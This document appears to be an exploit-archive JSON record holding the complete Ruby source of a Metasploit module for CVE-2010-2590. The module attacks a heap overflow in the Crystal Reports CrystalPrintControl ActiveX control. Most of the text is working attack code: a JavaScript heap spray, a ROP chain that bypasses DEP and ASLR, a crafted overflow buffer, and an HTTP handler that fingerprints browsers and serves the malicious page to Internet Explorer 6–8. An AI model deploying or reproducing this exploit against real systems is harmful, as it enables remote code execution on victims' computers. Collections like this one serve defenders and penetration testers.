{"exploit":{"id":"EDB-23472","name":"Crystal Reports CrystalPrintControl - ActiveX ServerResourceVersion Property Overflow (Metasploit)","description":"Crystal Reports CrystalPrintControl - ActiveX ServerResourceVersion Property Overflow (Metasploit)","cves":["CVE-2010-2590"],"author":"Metasploit","published":"2012-12-18","platform":"windows","type":"remote","language":"Ruby","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/23472","path":"exploits/windows/remote/23472.rb","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-23472.rb","vulnerabilities":[{"id":"CVE-2010-2590","state":"PUBLISHED","title":null,"titleSource":null,"description":"Heap-based buffer overflow in the CrystalReports12.CrystalPrintControl.1 ActiveX control in PrintControl.dll 12.3.2.753 in SAP Crystal Reports 2008 SP3 Fix Pack 3.2 allows remote attackers to execute arbitrary code via a long ServerResourceVersion property value.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2010-2590","cvss":{"version":"2.0","baseScore":9.3,"severity":"high","vectorString":"AV:N/AC:M/Au:N/C:C/I:C/A:C","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2010-2590"},"updatedAt":"2024-08-07T02:39:37.561Z","retrievedAt":"2026-11-27T09:12:05.880Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-23472.png?v=2","url":"https://exploitbin.com/exploits/EDB-23472","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-23472/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-23472/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"##\n# This file is part of the Metasploit Framework and may be subject to\n# redistribution and commercial restrictions. Please see the Metasploit\n# Framework web site for more information on licensing and terms of use.\n#   http://metasploit.com/framework/\n##\n\nrequire 'msf/core'\n\nclass Metasploit3 < Msf::Exploit::Remote\n\tRank = NormalRanking\n\n\tinclude Msf::Exploit::Remote::HttpServer::HTML\n\tinclude Msf::Exploit::RopDb\n\tinclude Msf::Exploit::Remote::BrowserAutopwn\n\n\tautopwn_info({\n\t\t:ua_name    => HttpClients::IE,\n\t\t:ua_minver  => \"6.0\",\n\t\t:ua_maxver  => \"8.0\",\n\t\t:javascript => true,\n\t\t:os_name    => OperatingSystems::WINDOWS,\n\t\t:rank       => NormalRanking,\n\t\t:classid    => \"{88DD90B6-C770-4CFF-B7A4-3AFD16BB8824}\",\n\t\t:method     => \"ServerResourceVersion\"\n\t})\n\n\n\tdef initialize(info={})\n\t\tsuper(update_info(info,\n\t\t\t'Name'           => \"Crystal Reports CrystalPrintControl ActiveX ServerResourceVersion Property Overflow\",\n\t\t\t'Description'    => %q{\n\t\t\t\t\tThis module exploits a heap based buffer overflow in the CrystalPrintControl\n\t\t\t\tActiveX, while handling the ServerResourceVersion property. The affected control\n\t\t\t\tcan be found in the PrintControl.dll component as included with Crystal Reports\n\t\t\t\t2008. This module has been tested successfully on IE 6, 7 and 8 on Windows XP SP3\n\t\t\t\tand IE 8 on Windows 7 SP1. The module uses the msvcr71.dll library, loaded by the\n\t\t\t\taffected ActiveX control, to bypass DEP and ASLR.\n\t\t\t},\n\t\t\t'License'        => MSF_LICENSE,\n\t\t\t'Author'         =>\n\t\t\t\t[\n\t\t\t\t\t'Dmitriy Pletnev', # Vulnerability discovery\n\t\t\t\t\t'Dr_IDE', # PoC\n\t\t\t\t\t'juan vazquez' # Metasploit\n\t\t\t\t],\n\t\t\t'References'     =>\n\t\t\t\t[\n\t\t\t\t\t[ 'CVE', '2010-2590' ],\n\t\t\t\t\t[ 'OSVDB', '69917' ],\n\t\t\t\t\t[ 'BID', '45387' ],\n\t\t\t\t\t[ 'EDB', '15733' ]\n\t\t\t\t],\n\t\t\t'Payload'        =>\n\t\t\t\t{\n\t\t\t\t\t'Space' => 890,\n\t\t\t\t\t'BadChars' => \"\\x00\",\n\t\t\t\t\t'DisableNops' => true,\n\t\t\t\t\t'PrependEncoder' => \"\\x81\\xc4\\xa4\\xf3\\xfe\\xff\" # Stack adjustment # add esp, -500\n\t\t\t\t},\n\t\t\t'DefaultOptions'  =>\n\t\t\t\t{\n\t\t\t\t\t'InitialAutoRunScript' => 'migrate -f'\n\t\t\t\t},\n\t\t\t'Platform'       => 'win',\n\t\t\t'Targets'        =>\n\t\t\t\t[\n\t\t\t\t\t# Using jre rop because msvcr71.dll is installed with the ActiveX control\n\t\t\t\t\t# Crystal Reports 2008 / PrintControl.dll 12.0.0.683\n\t\t\t\t\t[ 'Automatic', {} ],\n\t\t\t\t\t[ 'IE 6 on Windows XP SP3',\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t'Rop' => nil,\n\t\t\t\t\t\t\t'Offset' => '0x5F4',\n\t\t\t\t\t\t\t'Ret' => 0x0c0c0c08\n\t\t\t\t\t\t}\n\t\t\t\t\t],\n\t\t\t\t\t[ 'IE 7 on Windows XP SP3',\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t'Rop' => nil,\n\t\t\t\t\t\t\t'Offset' => '0x5F4',\n\t\t\t\t\t\t\t'Ret' => 0x0c0c0c08\n\t\t\t\t\t\t}\n\t\t\t\t\t],\n\t\t\t\t\t[ 'IE 8 on Windows XP SP3',\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t'Rop' => :jre,\n\t\t\t\t\t\t\t'Offset' => '0x5f4',\n\t\t\t\t\t\t\t'Ret' => 0x0c0c0c0c,\n\t\t\t\t\t\t\t'Pivot' => 0x7c342643 # xchg eax, esp # pop edi # add byte ptr [eax],al # pop ecx # ret\n\t\t\t\t\t\t}\n\t\t\t\t\t],\n\t\t\t\t\t[ 'IE 8 on Windows 7',\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t'Rop' => :jre,\n\t\t\t\t\t\t\t'Offset' => '0x5f4',\n\t\t\t\t\t\t\t'Ret' => 0x0c0c0c0c,\n\t\t\t\t\t\t\t'Pivot' => 0x7c342643 # xchg eax, esp # pop edi # add byte ptr [eax],al # pop ecx # ret\n\t\t\t\t\t\t}\n\t\t\t\t\t]\n\t\t\t\t],\n\t\t\t'Privileged'     => false,\n\t\t\t'DisclosureDate' => \"Dec 14 2010\",\n\t\t\t'DefaultTarget'  => 0))\n\n\t\tregister_options(\n\t\t\t[\n\t\t\t\tOptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])\n\t\t\t], self.class)\n\n\tend\n\n\tdef get_target(agent)\n\t\t#If the user is already specified by the user, we'll just use that\n\t\treturn target if target.name != 'Automatic'\n\n\t\tnt = agent.scan(/Windows NT (\\d\\.\\d)/).flatten[0] || ''\n\t\tie = agent.scan(/MSIE (\\d)/).flatten[0] || ''\n\n\t\tie_name = \"IE #{ie}\"\n\n\t\tcase nt\n\t\twhen '5.1'\n\t\t\tos_name = 'Windows XP SP3'\n\t\twhen '6.0'\n\t\t\tos_name = 'Windows Vista'\n\t\twhen '6.1'\n\t\t\tos_name = 'Windows 7'\n\t\tend\n\n\t\ttargets.each do |t|\n\t\t\tif (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name))\n\t\t\t\tprint_status(\"Target selected as: #{t.name}\")\n\t\t\t\treturn t\n\t\t\tend\n\t\tend\n\n\t\treturn nil\n\tend\n\n\tdef ie_heap_spray(my_target, p)\n\t\tjs_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch))\n\t\tjs_nops = Rex::Text.to_unescape(\"\\x0c\"*4, Rex::Arch.endian(target.arch))\n\n\t\t# Land the payload at 0x0c0c0c0c\n\t\t# For IE 6, 7, 8\n\t\tjs = %Q|\n\t\tvar heap_obj = new heapLib.ie(0x20000);\n\t\tvar code = unescape(\"#{js_code}\");\n\t\tvar nops = unescape(\"#{js_nops}\");\n\t\twhile (nops.length < 0x80000) nops += nops;\n\t\tvar offset = nops.substring(0, #{my_target['Offset']});\n\t\tvar shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);\n\t\twhile (shellcode.length < 0x40000) shellcode += shellcode;\n\t\tvar block = shellcode.substring(0, (0x80000-6)/2);\n\t\theap_obj.gc();\n\t\tfor (var i=1; i < 0x300; i++) {\n\t\t\theap_obj.alloc(block);\n\t\t}\n\t\tvar overflow = nops.substring(0, 10);\n\t\t|\n\n\t\tjs = heaplib(js, {:noobfu => true})\n\n\t\tif datastore['OBFUSCATE']\n\t\t\tjs = ::Rex::Exploitation::JSObfu.new(js)\n\t\t\tjs.obfuscate\n\t\tend\n\n\t\treturn js\n\tend\n\n\tdef get_payload(t, cli)\n\t\tcode = payload.encoded\n\n\t\t# No rop. Just return the payload.\n\t\treturn code if t['Rop'].nil?\n\n\t\t# Both ROP chains generated by mona.py - See corelan.be\n\t\tprint_status(\"Using JRE ROP\")\n\t\trop_payload = generate_rop_payload('java', code, {'pivot' => [t['Pivot']].pack(\"V\")})\n\n\t\treturn rop_payload\n\tend\n\n\tdef load_exploit_html(my_target, cli)\n\t\tp  = get_payload(my_target, cli)\n\t\tjs = ie_heap_spray(my_target, p)\n\n\t\t# This rop chain can't contain NULL bytes, because of this RopDB isn't used\n\t\t# rop chain generated with mona.py\n\t\trop_gadgets =\n\t\t\t[\n\t\t\t\t0x7c37653d, # POP EAX # POP EDI # POP ESI # POP EBX # POP EBP # RETN\n\t\t\t\t0xfffffdff,\t# Value to negate, will become 0x00000201 (dwSize)\n\t\t\t\t0x7c347f98,\t# RETN (ROP NOP) [msvcr71.dll]\n\t\t\t\t0x7c3415a2,\t# JMP [EAX] [msvcr71.dll]\n\t\t\t\t0xffffffff,\t#\n\t\t\t\t0x7c376402,\t# skip 4 bytes [msvcr71.dll]\n\t\t\t\t0x7c351e05,\t# NEG EAX # RETN [msvcr71.dll]\n\t\t\t\t0x7c345255,\t# INC EBX # FPATAN # RETN [msvcr71.dll]\n\t\t\t\t0x7c352174,\t# ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN [msvcr71.dll]\n\t\t\t\t0x7c344f87,\t# POP EDX # RETN [msvcr71.dll]\n\t\t\t\t0xffffffc0,\t# Value to negate, will become 0x00000040\n\t\t\t\t0x7c351eb1,\t# NEG EDX # RETN [msvcr71.dll]\n\t\t\t\t0x7c34d201,\t# POP ECX # RETN [msvcr71.dll]\n\t\t\t\t0x7c38b001,\t# &Writable location [msvcr71.dll]\n\t\t\t\t0x7c347f97,\t# POP EAX # RETN [msvcr71.dll]\n\t\t\t\t0x7c37a151,\t# ptr to &VirtualProtect() - 0x0EF [IAT msvcr71.dll]\n\t\t\t\t0x7c378c81,\t# PUSHAD # ADD AL,0EF # RETN [msvcr71.dll]\n\t\t\t\t0x7c345c30,\t# ptr to 'push esp #  ret ' [msvcr71.dll]\n\t\t\t].pack(\"V*\")\n\n\t\t# Allow to easily stackpivot to the payload\n\t\t# stored on the sprayed heap\n\t\tstackpivot_to_spray = %Q|\n\t\t\tmov esp, 0x0c0c0c10\n\t\t\tret\n\t\t|\n\n\t\t# Space => 0x940 bytes\n\t\t# 0x40c: Fill the current CrystalPrintControl object\n\t\t# 0x8: Overflow next heap chunk header\n\t\t# 0x52c: Overflow next CrystalPrintControl object until the ServerResourceVersion offset\n\t\tbof = rand_text_alpha(1036)\n\t\tbof << [0x01010101].pack(\"V\") # next heap chunk header\n\t\tbof << [0x01010101].pack(\"V\") # next heap chunk header\n\t\tbof << [my_target.ret].pack(\"V\")\n\t\tbof << [0x7c3410c4].pack(\"V\") # ret # msvcr71\n\t\tbof << [0x7c3410c4].pack(\"V\") # ret # msvcr71\n\t\tbof << [0x7c3410c4].pack(\"V\") # ret # msvcr71\n\t\tbof << [0x7c3410c4].pack(\"V\") # ret # msvcr71\n\t\tbof << [0x7c3410c4].pack(\"V\") # ret # msvcr71\n\t\tbof << [0x7c3410c4].pack(\"V\") # ret # msvcr71\n\t\tbof << [0x7c3410c4].pack(\"V\") # ret # msvcr71\n\t\tbof << [0x7c3410c4].pack(\"V\") # ret # msvcr71 # eip for w7 sp0 / ie8\n\t\tbof << rop_gadgets\n\t\tbof << Metasm::Shellcode.assemble(Metasm::Ia32.new, stackpivot_to_spray).encode_string\n\t\tbof << rand_text_alpha(0x940 - bof.length)\n\n\t\tjs_bof = Rex::Text.to_unescape(bof, Rex::Arch.endian(my_target.arch))\n\n\t\ttarget = rand_text_alpha(5 + rand(3))\n\t\ttarget2 = rand_text_alpha(5 + rand(3))\n\t\ttarget3 = rand_text_alpha(5 + rand(3))\n\t\ttarget4 = rand_text_alpha(5 + rand(3))\n\t\ttarget5 = rand_text_alpha(5 + rand(3))\n\t\ttarget6 = rand_text_alpha(5 + rand(3))\n\t\ttarget7 = rand_text_alpha(5 + rand(3))\n\t\ttarget8 = rand_text_alpha(5 + rand(3))\n\t\ttarget9 = rand_text_alpha(5 + rand(3))\n\t\ttarget10 = rand_text_alpha(5 + rand(3))\n\t\ttarget11 = rand_text_alpha(5 + rand(3))\n\t\ttarget12 = rand_text_alpha(5 + rand(3))\n\t\ttarget13 = rand_text_alpha(5 + rand(3))\n\t\ttarget14 = rand_text_alpha(5 + rand(3))\n\t\ttarget15 = rand_text_alpha(5 + rand(3))\n\n\t\t# - 15 CrystalPrintControl objects are used to defragement the heap.\n\t\t# - The 10th CrystalPrintControl is overflowed.\n\t\t# - After the overflow, trying to access the overflowed object, control\n\t\t# can be obtained.\n\t\thtml = %Q|\n\t\t<html>\n\t\t<head>\n\t\t<script>\n\t\t#{js}\n\t\t</script>\n\t\t</head>\n\t\t<body>\n\t\t<object id='#{target}' classid='clsid:88DD90B6-C770-4CFF-B7A4-3AFD16BB8824'></object>\n\t\t<object id='#{target2}' classid='clsid:88DD90B6-C770-4CFF-B7A4-3AFD16BB8824'></object>\n\t\t<object id='#{target3}' classid='clsid:88DD90B6-C770-4CFF-B7A4-3AFD16BB8824'></object>\n\t\t<object id='#{target4}' classid='clsid:88DD90B6-C770-4CFF-B7A4-3AFD16BB8824'></object>\n\t\t<object id='#{target5}' classid='clsid:88DD90B6-C770-4CFF-B7A4-3AFD16BB8824'></object>\n\t\t<object id='#{target6}' classid='clsid:88DD90B6-C770-4CFF-B7A4-3AFD16BB8824'></object>\n\t\t<object id='#{target7}' classid='clsid:88DD90B6-C770-4CFF-B7A4-3AFD16BB8824'></object>\n\t\t<object id='#{target8}' classid='clsid:88DD90B6-C770-4CFF-B7A4-3AFD16BB8824'></object>\n\t\t<object id='#{target9}' classid='clsid:88DD90B6-C770-4CFF-B7A4-3AFD16BB8824'></object>\n\t\t<object id='#{target10}' classid='clsid:88DD90B6-C770-4CFF-B7A4-3AFD16BB8824'></object>\n\t\t<object id='#{target11}' classid='clsid:88DD90B6-C770-4CFF-B7A4-3AFD16BB8824'></object>\n\t\t<object id='#{target12}' classid='clsid:88DD90B6-C770-4CFF-B7A4-3AFD16BB8824'></object>\n\t\t<object id='#{target13}' classid='clsid:88DD90B6-C770-4CFF-B7A4-3AFD16BB8824'></object>\n\t\t<object id='#{target14}' classid='clsid:88DD90B6-C770-4CFF-B7A4-3AFD16BB8824'></object>\n\t\t<object id='#{target15}' classid='clsid:88DD90B6-C770-4CFF-B7A4-3AFD16BB8824'></object>\n\t\t<script>\n\t\tvar ret = unescape('#{js_bof}');\n\t\t#{target9}.ServerResourceVersion = ret;\n\t\tvar c = #{target10}.BinName.length;\n\t\t</script>\n\t\t</body>\n\t\t</html>\n\t\t|\n\n\t\treturn html\n\tend\n\n\tdef on_request_uri(cli, request)\n\t\tagent = request.headers['User-Agent']\n\t\turi   = request.uri\n\t\tprint_status(\"Requesting: #{uri}\")\n\n\t\tmy_target = get_target(agent)\n\t\t# Avoid the attack if no suitable target found\n\t\tif my_target.nil?\n\t\t\tprint_error(\"Browser not supported, sending 404: #{agent}\")\n\t\t\tsend_not_found(cli)\n\t\t\treturn\n\t\tend\n\n\t\thtml = load_exploit_html(my_target, cli)\n\t\thtml = html.gsub(/^\\t\\t/, '')\n\t\tprint_status(\"Sending HTML...\")\n\t\tsend_response(cli, html, {'Content-Type'=>'text/html'})\n\tend\n\nend","sha256":"e2e444f4f608cf2a5267e52972251a3f6dc63fb45578a2ac18f6eb5ad4684ec0","bytes":10437,"fetchedAt":"2026-11-27T09:12:03.244Z","encoding":"utf-8 (display only; download retains original bytes)"}